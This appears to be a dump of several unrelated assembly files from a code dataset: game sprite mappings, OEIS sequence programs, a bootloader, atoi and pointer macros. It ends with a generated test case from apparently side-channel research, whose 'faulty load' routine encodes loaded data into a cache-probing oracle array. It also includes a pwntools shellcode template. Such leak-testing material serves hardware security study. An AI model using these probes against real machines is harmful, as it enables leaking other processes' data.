hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
33f781408d5e8891bf9740979171dd2c86d4f931
2,231
asm
Assembly
Working Disassembly/General/Sprites/Shields/Map - Bubble Shield.asm
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
7e8a2c5df02271615ff4cae529521e6b1560d6b1
[ "Apache-2.0" ]
5
2021-07-09T08:17:56.000Z
2022-02-27T19:57:47.000Z
Working Disassembly/General/Sprites/Shields/Map - Bubble Shield.asm
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
7e8a2c5df02271615ff4cae529521e6b1560d6b1
[ "Apache-2.0" ]
null
null
null
Working Disassembly/General/Sprites/Shields/Map - Bubble Shield.asm
TeamASM-Blur/Sonic-3-Blue-Balls-Edition
7e8a2c5df02271615ff4cae529521e6b1560d6b1
[ "Apache-2.0" ]
null
null
null
dc.w word_19F9C-Map_BubbleShield dc.w word_19FA4-Map_BubbleShield dc.w word_19FB2-Map_BubbleShield dc.w word_19FC0-Map_BubbleShield dc.w word_19FCE-Map_BubbleShield dc.w word_19FDC-Map_BubbleShield dc.w word_19FEA-Map_BubbleShield dc.w word_19FF8-Map_BubbleShield dc.w word_1A006-Map_BubbleShield dc.w word_1A014-Map_BubbleShield dc.w word_1A02E-Map_BubbleShield dc.w word_1A048-Map_BubbleShield dc.w word_1A062-Map_BubbleShield word_19F9C: dc.w 1 ; DATA XREF: ROM:00019F82o dc.b $E8, $C, 0, 0, $FF, $F0 word_19FA4: dc.w 2 ; DATA XREF: ROM:00019F82o dc.b $E8, 9, 0, 0, $FF, $E8 dc.b $E8, 9, 8, 0, 0, 0 word_19FB2: dc.w 2 ; DATA XREF: ROM:00019F82o dc.b $E8, $A, 0, 0, $FF, $E8 dc.b $E8, $A, 8, 0, 0, 0 word_19FC0: dc.w 2 ; DATA XREF: ROM:00019F82o dc.b $E8, $A, 0, 0, $FF, $E8 dc.b $E8, $A, 8, 0, 0, 0 word_19FCE: dc.w 2 ; DATA XREF: ROM:00019F82o dc.b $F0, $B, 0, 0, $FF, $E8 dc.b $F0, $B, 8, 0, 0, 0 word_19FDC: dc.w 2 ; DATA XREF: ROM:00019F82o dc.b 0, $A, $10, 0, $FF, $E8 dc.b 0, $A, $18, 0, 0, 0 word_19FEA: dc.w 2 ; DATA XREF: ROM:00019F82o dc.b 0, $A, $10, 0, $FF, $E8 dc.b 0, $A, $18, 0, 0, 0 word_19FF8: dc.w 2 ; DATA XREF: ROM:00019F82o dc.b 8, 9, $10, 0, $FF, $E8 dc.b 8, 9, $18, 0, 0, 0 word_1A006: dc.w 2 ; DATA XREF: ROM:00019F82o dc.b $10, 4, $10, 0, $FF, $F0 dc.b $10, 4, $18, 0, 0, 0 word_1A014: dc.w 4 ; DATA XREF: ROM:00019F82o dc.b $E8, $A, 0, 0, $FF, $E8 dc.b $E8, $A, 0, 9, 0, 0 dc.b 0, $A, $10, 0, $FF, $E8 dc.b 0, $A, $18, 0, 0, 0 word_1A02E: dc.w 4 ; DATA XREF: ROM:00019F82o dc.b $E8, $A, 0, 0, $FF, $E8 dc.b $E8, $A, 0, 9, 0, 0 dc.b 0, $A, $10, 0, $FF, $E8 dc.b 0, $A, $18, 0, 0, 0 word_1A048: dc.w 4 ; DATA XREF: ROM:00019F82o dc.b $EC, $D, 0, 0, $FF, $E4 dc.b $EC, 9, 0, 8, 0, 4 dc.b $FC, $E, 0, $E, $FF, $E4 dc.b $FC, $A, 8, $E, 0, 4 word_1A062: dc.w 3 ; DATA XREF: ROM:00019F82o dc.b $F0, $F, 0, 0, $FF, $DC dc.b $F0, 3, 0, $10, $FF, $FC dc.b $F0, $F, 0, $14, 0, 4
37.813559
48
0.527566
91a457fc6177c32ab1e101e6783a964df87459a2
428
asm
Assembly
programs/oeis/173/A173073.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/173/A173073.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
programs/oeis/173/A173073.asm
jmorken/loda
99c09d2641e858b074f6344a352d13bc55601571
[ "Apache-2.0" ]
null
null
null
; A173073: (n-th nonnegative nonprime) minus (n-1). ; 0,0,2,3,4,4,4,5,6,6,6,7,8,8,8,9,9,9,9,9,10,11,11,11,11,11,12,12,12,13,14,14,14,15,15,15,15,15,16,16,16,16,16,17,18,18,18,18,18,19,19,19,20,21,21,21,21,21,22,22,22,23,23,23,23,23,24,24,24,24,24,24,24,25,25,25 sub $1,$0 add $1,1 lpb $0 sub $0,$1 mov $2,$1 cal $0,230980 ; Number of primes <= n, starting at n=0. lpb $1 mul $1,$3 sub $1,$2 lpe lpe mov $1,$0
26.75
209
0.593458
49646d98bcc06e04b29819d179a67cde739b7c74
510
asm
Assembly
oeis/158/A158275.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/158/A158275.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/158/A158275.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A158275: Denominators of antiharmonic means of divisors of n. ; Submitted by Christian Krause ; 1,3,2,1,3,6,4,3,1,9,6,2,7,12,6,1,9,3,10,1,8,18,12,6,1,21,2,4,15,18,16,3,12,27,12,1,19,6,14,9,21,24,22,2,3,36,24,2,1,1,18,7,27,6,18,12,4,9,30,2,31,48,4,1,21,36,34,3,24,36,36,3,37,57,2,10,24,42,40,3,1,63,42,8,27,66,6,18,45,9,28,4,32,72,30,6,49,3,6,1 add $0,1 mov $2,$0 lpb $0 add $1,$4 mov $3,$2 dif $3,$0 cmp $3,$2 cmp $3,0 mul $3,$0 sub $0,1 add $4,$3 lpe add $4,1 gcd $1,$4 div $4,$1 mov $0,$4
24.285714
249
0.592157
915e342476f16291220a4213595e2ce7f484d423
408
asm
Assembly
programs/oeis/168/A168269.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/168/A168269.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/168/A168269.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A168269: a(n) = 2*n - (-1)^n. ; 3,3,7,7,11,11,15,15,19,19,23,23,27,27,31,31,35,35,39,39,43,43,47,47,51,51,55,55,59,59,63,63,67,67,71,71,75,75,79,79,83,83,87,87,91,91,95,95,99,99,103,103,107,107,111,111,115,115,119,119,123,123,127,127,131,131,135,135,139,139,143,143,147,147,151,151,155,155,159,159,163,163,167,167,171,171,175,175,179,179,183,183,187,187,191,191,195,195,199,199 div $0,2 mul $0,4 add $0,3
58.285714
347
0.671569
3b84d3c5d36e3b264ef48ec87e2811d393122348
765
asm
Assembly
8086/8array/sminarr.asm
iamvk1437k/mpmc
3640b29f29b3ffa78747b13b2ca8ac77c49695eb
[ "MIT" ]
1
2022-01-01T11:27:43.000Z
2022-01-01T11:27:43.000Z
8086/8array/sminarr.asm
iamvk1437k/mpmc
3640b29f29b3ffa78747b13b2ca8ac77c49695eb
[ "MIT" ]
null
null
null
8086/8array/sminarr.asm
iamvk1437k/mpmc
3640b29f29b3ffa78747b13b2ca8ac77c49695eb
[ "MIT" ]
null
null
null
;mov si,1100h ;mov di,1200h ;mov cl,[si] ;inc si ;mov al,[si] ;dec cl ;again: ;inc si ;mov bl,[si] ;cmp al,bl ;jc ahead ;mov al,bl ;ahead: ;dec cl ;jnz again ;mov [di],al ;hlt org 100h MOV SI, 1100H ;Set DI register as pointer MOV DI, 1200H ;Set DI register as pointer for result MOV CL, [SI] ;Set CL as count for element INC SI ;Increment address MOV AL,[SI] ;Get first data DEC CL ;Decrement count INC SI ;Increment SI L1:CMP AL,[SI] ;Compare current smallest & next JC L2 ;If carry is set,AL is the smallest here go to ahead MOV AL,[SI] ;Store lower byte in AL L2:INC SI ; increment LOOP L1 ; repeat l1 MOV [DI],AL ; move AL to the content of DI HLT ret
21.25
69
0.605229
c18be0a08c543996655c1a2b50e60d9ee9f07ae1
521
asm
Assembly
pwnlib/shellcraft/templates/mips/linux/mov.asm
IMULMUL/python3-pwntools
61210a68cd88e9084c72292d3119c38c44f07966
[ "MIT" ]
325
2016-01-25T08:38:06.000Z
2022-03-30T14:31:50.000Z
pwnlib/shellcraft/templates/mips/linux/mov.asm
IMULMUL/python3-pwntools
61210a68cd88e9084c72292d3119c38c44f07966
[ "MIT" ]
8
2016-08-23T10:15:27.000Z
2019-01-16T02:49:34.000Z
pwnlib/shellcraft/templates/mips/linux/mov.asm
IMULMUL/python3-pwntools
61210a68cd88e9084c72292d3119c38c44f07966
[ "MIT" ]
71
2016-07-13T10:03:52.000Z
2022-01-10T11:57:34.000Z
<% from pwnlib.shellcraft import mips from pwnlib.context import context as ctx # Ugly hack, mako will not let it be called context %> <%page args="dest, src"/> <%docstring> Thin wrapper around :func:`pwnlib.shellcraft.mips.mov`, which sets `context.os` to `'linux'` before calling. Example: >>> print(pwnlib.shellcraft.mips.linux.mov('$a1', 'SYS_execve').rstrip()) li $t9, ~(SYS_execve) /* 0xfab */ not $a1, $t9 </%docstring> % with ctx.local(os='linux'): ${mips.mov(dest, src)} % endwith
23.681818
95
0.658349
af1abb7156a431e71058d4e7dbd35f5316b44ac2
545
asm
Assembly
lab1/bootloader.asm
wannaphongcom/os-dev
c8e599e1fbeda20bb7016cc0f55fff24d3f36b20
[ "MIT" ]
1
2019-02-12T18:29:40.000Z
2019-02-12T18:29:40.000Z
lab1/bootloader.asm
wannaphongcom/os-dev
c8e599e1fbeda20bb7016cc0f55fff24d3f36b20
[ "MIT" ]
null
null
null
lab1/bootloader.asm
wannaphongcom/os-dev
c8e599e1fbeda20bb7016cc0f55fff24d3f36b20
[ "MIT" ]
null
null
null
bits 16 jmp bootloader message db 'Hello World',0 printMessage: push ax .loop: lodsb or al,al jz .quitLoop mov ah,0x0e int 0x10 jmp .loop .quitLoop: pop ax ret bootloader: cli mov ax,0x07c0 mov ds,ax mov gs,ax mov fs,ax mov es,ax mov ax,0x07e0 mov ss,ax mov bp,ax mov sp,0xff sti mov si,message call printMessage cli hlt times 510-($-$$) db 0 DB 0x55 DB 0xAA times 1024*1024 db 0
11.122449
26
0.519266
1aa3e999e997c2b46ce53e094124bca374e8d465
2,371
asm
Assembly
atoi_assembly_implementation/atoi_func.asm
Ionut-Iordache-I/Assembly-encryption-functions
3f213c739dd43a91445fdb942226f496edb8b919
[ "Apache-2.0" ]
null
null
null
atoi_assembly_implementation/atoi_func.asm
Ionut-Iordache-I/Assembly-encryption-functions
3f213c739dd43a91445fdb942226f496edb8b919
[ "Apache-2.0" ]
null
null
null
atoi_assembly_implementation/atoi_func.asm
Ionut-Iordache-I/Assembly-encryption-functions
3f213c739dd43a91445fdb942226f496edb8b919
[ "Apache-2.0" ]
null
null
null
%define LOW_LIMIT 48 %define UP_LIMIT 57 %define CONVERSION 48 section .data string_buffer: db "32768", 0 dec_message_buffer: db "Decimal value of string_buffer is : %d",10 , 0 hexa_message_buffer: db "Hexadecimal value of string_buffer is : %x",10 , 0 section .bss section .text extern printf extern puts global main main: enter 0, 0 push string_buffer ; I keep the buffer containing the string on the stack call puts ; call the external function puts call atoi_f ; I'm calling the external function call leave ret atoi_f: enter 0, 0 xor ecx, ecx ; initializing the registers to the value 0 xor edx, edx ; xor esi, esi ; mov edx, [ebp + 8] ; put in edx the string stored at the address ebp + 8 conversion: ; the function checks a character and converts it xor eax, eax ; initializing the eax register to the value 0 mov al, byte [edx + ecx] ; I put in al the first character in the string cmp eax, LOW_LIMIT ; I check if the character fits as a digit jl done ; if he can't, jump at done label cmp eax, UP_LIMIT ; check if the character exceeds 57 = ('9' in ASCII) jg done ; if it exceeds, it jumps at done label sub eax, CONVERSION ; I perform the conversion from ASCII to decimal imul esi, 10 ; in esi I keep the number created by repeated multiplications by 10 add esi, eax ; I add to the number I get, the digit converted to decimal add ecx, 1 ; increase the counter by 1 jmp conversion ; resume the process of creating the number in decimal from begining done: mov eax, esi ; I keep the value obtained in the eax register push eax ; I place the final value on the stack representing ; the second parameter of the call function push dec_message_buffer ; I place the format on the stack. Will print number as an integer call printf ; call the external function printf add esp, 4 ; return the top of the stack to the second parameter of the function push hexa_message_buffer ; I place the format on the stack. Will print number as an hexadecimal call printf ; call the external function printf leave ret
42.339286
99
0.64825
9c7c8c4e7112614365ec3fa4fd3f9e6c7e438069
1,254
asm
Assembly
EEL7030/Rep CAEE/Mic 8085/Aulas/aula3-Ex1.asm
GSimas/MicroC
ac9ef54bbeed027db532885407cc3e783fcb28eb
[ "MIT" ]
null
null
null
EEL7030/Rep CAEE/Mic 8085/Aulas/aula3-Ex1.asm
GSimas/MicroC
ac9ef54bbeed027db532885407cc3e783fcb28eb
[ "MIT" ]
null
null
null
EEL7030/Rep CAEE/Mic 8085/Aulas/aula3-Ex1.asm
GSimas/MicroC
ac9ef54bbeed027db532885407cc3e783fcb28eb
[ "MIT" ]
null
null
null
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ;Teclado.asm - Leitura do teclado, soma e mostra de resultados ;Prof. Fernando M. de Azevedo - 28.03.2005 ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; LETECLA EQU 02E7H ; Enderecos das sub-rotinas MOSTRAD EQU 0363H MOSTRAA EQU 036eH ORG 2000H LXI SP, 20C0H ; Inicializa o SP (o apontador da pilha) LOOP: CALL LETECLA ; Le o primeiro numero MOV D,A ; carrega D com o conteudo de A MVI E,00 ; zera o registro E PUSH D ; salva o conteudo de DE pois a rotina ; MOSTRAD altera todos os registros e os ; registros DE estao sendo usados CALL MOSTRAD ; mostra o primeiro numero em enderecos POP D ; restaura o par DE CALL LETECLA ; le o segundo numero MOV E,A ; move para E ADD D ; "soma" o primeiro numero com o segundo PUSH PSW ; salva o conteudo de AF pois a rotina ; MOSTRAD altera todos os registros e os ; registros AF estao sendo usados CALL MOSTRAD ; motra o segundo numero em endercos POP PSW ; restaura o AF CALL MOSTRAA ; mostra o resultado da soma no campo de dados JMP LOOP END
39.1875
64
0.567783
e045f8ca0d8cd180d264c78df8d7ff2fef554255
7,497
asm
Assembly
nv_pointer_macs.asm
nealvis/nv_c64_util
29727af8d7b77445cff4ce9c66162ce28a0f54a0
[ "MIT" ]
null
null
null
nv_pointer_macs.asm
nealvis/nv_c64_util
29727af8d7b77445cff4ce9c66162ce28a0f54a0
[ "MIT" ]
null
null
null
nv_pointer_macs.asm
nealvis/nv_c64_util
29727af8d7b77445cff4ce9c66162ce28a0f54a0
[ "MIT" ]
null
null
null
////////////////////////////////////////////////////////////////////////////// // nv_pointer_macs.asm // Copyright(c) 2021 Neal Smith. // License: MIT. See LICENSE file in root directory. ////////////////////////////////////////////////////////////////////////////// // inline macros for pointer releated functions // importing this file will not generate any code or data directly #importonce #if !NV_C64_UTIL_DATA .error "Error - nv_pointer_macs.asm: NV_C64_UTIL_DATA not defined. Import nv_c64_util_data.asm" #endif // the #if above doesn't seem to always work so.. // if data hasn't been imported yet, import it into default location #importif !NV_C64_UTIL_DATA "nv_c64_util_default_data.asm" #import "nv_branch16_macs.asm" ////////////////////////////////////////////////////////////////////////////// // inline macro to store the byte in accumulator to the address // pointed to by a specified pointer // macro params: // ptr_addr: is the addres that contains the pointer to destination // save_block: is the address to a two byte block of memory that can // be used to save some zero page values that are used // for indirection. they will be restored after the // store operation is done. // Accum: unchanged, holds the byte that will be stored // X Reg: unchanged // Y Reg: will change .macro nv_store_a_to_mem_ptr(ptr_addr, save_block) { // zero page pointer to use whenever a zero page pointer is needed // usually used to store and load to and from the sprite extra pointer .const ZERO_PAGE_LO = $FB .const ZERO_PAGE_HI = $FC // save our zero page pointer ldy ZERO_PAGE_LO sty save_block ldy ZERO_PAGE_HI sty save_block+1 // load zero page ptr with our pointer ldy ptr_addr sty ZERO_PAGE_LO ldy ptr_addr+1 sty ZERO_PAGE_HI // story accum to the address in our pointer ldy #$00 // load Y reg 0 to use ptr address with no offset sta (ZERO_PAGE_LO),y // indirect indexed store accum to pointed to addr // restore our zero page pointer ldy save_block sty ZERO_PAGE_LO ldy save_block+1 sty ZERO_PAGE_HI } // ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // inline macro to store the byte in y register to the address // pointed to by a specified pointer // macro params: // ptr_addr: is the addres that contains the pointer to destination // save_block: is the address to a two byte block of memory that can // be used to save some zero page values that are used // for indirection. they will be restored after the // store operation is done. // Accum: will change // X Reg: unchanged // Y Reg: will change, holds the byte that will be stored .macro nv_store_y_to_mem_ptr(ptr_addr, save_block) { // zero page pointer to use whenever a zero page pointer is needed // usually used to store and load to and from the sprite extra pointer .const ZERO_PAGE_LO = $FB .const ZERO_PAGE_HI = $FC // save our zero page pointer lda ZERO_PAGE_LO sta save_block lda ZERO_PAGE_HI sta save_block+1 // load zero page ptr with our pointer lda ptr_addr sta ZERO_PAGE_LO lda ptr_addr+1 sta ZERO_PAGE_HI // story accum to the address in our pointer tya // move y to a to prepare to store ldy #$00 // load Y reg 0 to use ptr address with no offset sta (ZERO_PAGE_LO),y // indirect indexed store accum to pointed to addr // restore our zero page pointer lda save_block sta ZERO_PAGE_LO lda save_block+1 sta ZERO_PAGE_HI } // ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // inline macro to store the byte in x register to the address // pointed to by a specified pointer // macro params: // ptr_addr: is the addres that contains the pointer to destination // save_block: is the address to a two byte block of memory that can // be used to save some zero page values that are used // for indirection. they will be restored after the // store operation is done. // Accum: will change // X Reg: unchanged, holds the byte to store // Y Reg: will change, .macro nv_store_x_to_mem_ptr(ptr_addr, save_block) { // zero page pointer to use whenever a zero page pointer is needed // usually used to store and load to and from the sprite extra pointer .const ZERO_PAGE_LO = $FB .const ZERO_PAGE_HI = $FC // save our zero page pointer lda ZERO_PAGE_LO sta save_block lda ZERO_PAGE_HI sta save_block+1 // load zero page ptr with our pointer lda ptr_addr sta ZERO_PAGE_LO lda ptr_addr+1 sta ZERO_PAGE_HI // story accum to the address in our pointer txa // move y to a to prepare to store ldy #$00 // load Y reg 0 to use ptr address with no offset sta (ZERO_PAGE_LO),y // indirect indexed store accum to pointed to addr // restore our zero page pointer lda save_block sta ZERO_PAGE_LO lda save_block+1 sta ZERO_PAGE_HI } // ////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////// // inline macro to store the byte in accumulator to the list of addresses // pointed to by a specified pointer // macro params: // ptr_list_addr: is the addres that contains the pointer to the list // of destination addresses. the list will be terminated // with $FFFF value but can't be more than 256 total // bytes including the $FFFF terminator // the list must have an even number of total bytes. // save_block: is the address to a two byte block of memory that can // be used to save some zero page values that are used // for indirection. they will be restored after the // store operation is done. // Y Reg: changes // Accum: does not change, holds byte to store // X Reg: changes .macro nv_store_a_to_mem_ptr_list(ptr_list_addr, save_block) { // zero page pointer to use whenever a zero page pointer is needed // usually used to store and load to and from the sprite extra pointer .const ZERO_PAGE_LO = $FB .const ZERO_PAGE_HI = $FC // save our zero page pointer ldy ZERO_PAGE_LO sty save_block ldy ZERO_PAGE_HI sty save_block+1 ldx #0 LoopTop: // load zero page ptr with our pointer ldy ptr_list_addr,x sty ZERO_PAGE_LO ldy ptr_list_addr+1, x sty ZERO_PAGE_HI ldy #$FF cpy ZERO_PAGE_LO bne NotListTerminator cpy ZERO_PAGE_HI bne NotListTerminator // must be term jmp HitListTerminator NotListTerminator: // story accum to the address in our pointer ldy #$00 // load Y reg 0 to use ptr address with no offset sta (ZERO_PAGE_LO),y // indirect indexed store accum to pointed to addr inx inx jmp LoopTop HitListTerminator: // restore our zero page pointer ldy save_block sty ZERO_PAGE_LO ldy save_block+1 sty ZERO_PAGE_HI } // //////////////////////////////////////////////////////////////////////////////
34.389908
96
0.605442
e82f357a76f653b0ab7cd8dd9d834df7329c51dd
735
asm
Assembly
oeis/164/A164316.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/164/A164316.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/164/A164316.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A164316: Number of binary strings of length n with no substrings equal to 000, 001, or 010. ; Submitted by Jamie Morken(w4) ; 1,2,4,5,7,11,16,23,34,50,73,107,157,230,337,494,724,1061,1555,2279,3340,4895,7174,10514,15409,22583,33097,48506,71089,104186,152692,223781,327967,480659,704440,1032407,1513066,2217506,3249913,4762979,6980485,10230398,14993377,21973862,32204260,47197637,69171499,101375759,148573396,217744895,319120654,467694050,685438945,1004559599,1472253649,2157692594,3162252193,4634505842,6792198436,9954450629,14588956471,21381154907,31335605536,45924562007,67305716914,98641322450,144565884457,211871601371 mov $2,1 lpb $0 sub $0,1 mov $4,1 add $4,$3 mov $3,$2 mov $2,$1 add $1,$4 lpe mov $0,$1 add $0,1
45.9375
498
0.783673
bb73e822f70188b5eb21c515a0f9c09e1d1a6ad0
6,825
asm
Assembly
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_17601_986.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_17601_986.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NONE/_zr_/i7-7700_9_0xca.log_17601_986.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r12 push %r8 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_D_ht+0x8698, %rsi lea addresses_UC_ht+0x144a8, %rdi nop nop nop nop nop inc %rbx mov $120, %rcx rep movsl nop nop nop nop nop inc %r12 lea addresses_D_ht+0x3398, %r8 nop nop add %rcx, %rcx movl $0x61626364, (%r8) nop nop nop nop nop cmp $48698, %rbx lea addresses_UC_ht+0x11538, %rsi lea addresses_A_ht+0x4e16, %rdi nop cmp %r12, %r12 mov $119, %rcx rep movsb nop and $3903, %rdi lea addresses_normal_ht+0x1d558, %rbx nop inc %rax mov (%rbx), %si nop inc %r8 lea addresses_normal_ht+0x10ed8, %rsi lea addresses_WT_ht+0x5b98, %rdi nop nop nop nop cmp %r11, %r11 mov $62, %rcx rep movsl nop nop nop nop inc %rdi lea addresses_WT_ht+0xf4c2, %rsi lea addresses_normal_ht+0x1d26c, %rdi nop nop nop sub $29928, %rax mov $90, %rcx rep movsq nop nop xor %rsi, %rsi lea addresses_normal_ht+0x10f38, %rsi nop nop xor $27218, %r12 movw $0x6162, (%rsi) nop xor %r11, %r11 pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r8 pop %r12 pop %r11 ret .global s_faulty_load s_faulty_load: push %r10 push %r11 push %r15 push %r9 push %rax push %rbx push %rsi // Load lea addresses_normal+0xfa8, %r11 nop nop nop nop nop and %r15, %r15 movups (%r11), %xmm4 vpextrq $1, %xmm4, %rax nop nop nop nop nop dec %r11 // Store lea addresses_A+0xa9f8, %rsi nop add $63336, %rbx movb $0x51, (%rsi) nop nop nop nop nop xor %r11, %r11 // Store lea addresses_RW+0x10198, %r11 nop add $63630, %r10 mov $0x5152535455565758, %rbx movq %rbx, %xmm5 movups %xmm5, (%r11) nop nop inc %r15 // Load lea addresses_WT+0x9598, %rbx clflush (%rbx) nop nop nop nop and $59, %r10 vmovups (%rbx), %ymm2 vextracti128 $0, %ymm2, %xmm2 vpextrq $1, %xmm2, %r9 nop add %rbx, %rbx // Faulty Load lea addresses_RW+0x10198, %rsi nop nop nop inc %r10 movups (%rsi), %xmm5 vpextrq $1, %xmm5, %r15 lea oracles, %r9 and $0xff, %r15 shlq $12, %r15 mov (%r9,%r15,1), %r15 pop %rsi pop %rbx pop %rax pop %r9 pop %r15 pop %r11 pop %r10 ret /* <gen_faulty_load> [REF] {'src': {'congruent': 0, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'} {'src': {'congruent': 4, 'AVXalign': False, 'same': False, 'size': 16, 'NT': False, 'type': 'addresses_normal'}, 'OP': 'LOAD'} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 1, 'NT': False, 'type': 'addresses_A'}} {'OP': 'STOR', 'dst': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_RW'}} {'src': {'congruent': 10, 'AVXalign': False, 'same': False, 'size': 32, 'NT': False, 'type': 'addresses_WT'}, 'OP': 'LOAD'} [Faulty Load] {'src': {'congruent': 0, 'AVXalign': False, 'same': True, 'size': 16, 'NT': False, 'type': 'addresses_RW'}, 'OP': 'LOAD'} <gen_prepare_buffer> {'src': {'congruent': 4, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'REPM', 'dst': {'congruent': 4, 'same': True, 'type': 'addresses_UC_ht'}} {'OP': 'STOR', 'dst': {'congruent': 7, 'AVXalign': False, 'same': False, 'size': 4, 'NT': False, 'type': 'addresses_D_ht'}} {'src': {'congruent': 5, 'same': False, 'type': 'addresses_UC_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_A_ht'}} {'src': {'congruent': 6, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'} {'src': {'congruent': 6, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM', 'dst': {'congruent': 8, 'same': False, 'type': 'addresses_WT_ht'}} {'src': {'congruent': 0, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'REPM', 'dst': {'congruent': 1, 'same': False, 'type': 'addresses_normal_ht'}} {'OP': 'STOR', 'dst': {'congruent': 5, 'AVXalign': False, 'same': False, 'size': 2, 'NT': False, 'type': 'addresses_normal_ht'}} {'00': 17601} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 